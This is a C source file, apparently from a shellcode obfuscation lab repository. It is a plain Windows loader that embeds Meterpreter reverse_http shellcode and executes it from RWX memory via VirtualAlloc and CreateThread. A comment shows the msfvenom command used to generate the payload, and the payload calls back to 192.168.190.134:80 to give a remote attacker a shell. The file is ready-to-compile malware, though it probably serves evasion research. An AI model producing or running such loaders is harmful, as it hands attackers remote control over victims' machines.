mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
28 lines
3.7 KiB
C
28 lines
3.7 KiB
C
#include <windows.h>
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#include <stdio.h>
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// compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation-loader.c /link /out:noobfuscation-loader.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
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unsigned char shellcode[593] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
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int main(void)
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{
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void * exec_mem;
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BOOL rv;
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HANDLE th;
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DWORD op = 0;
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// Allocate buffer for shellcode
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exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
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// Copy shellcode to the buffer
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RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
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// Execute shellcode in a thread
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th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
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WaitForSingleObject(th, -1);
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return 0;
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}
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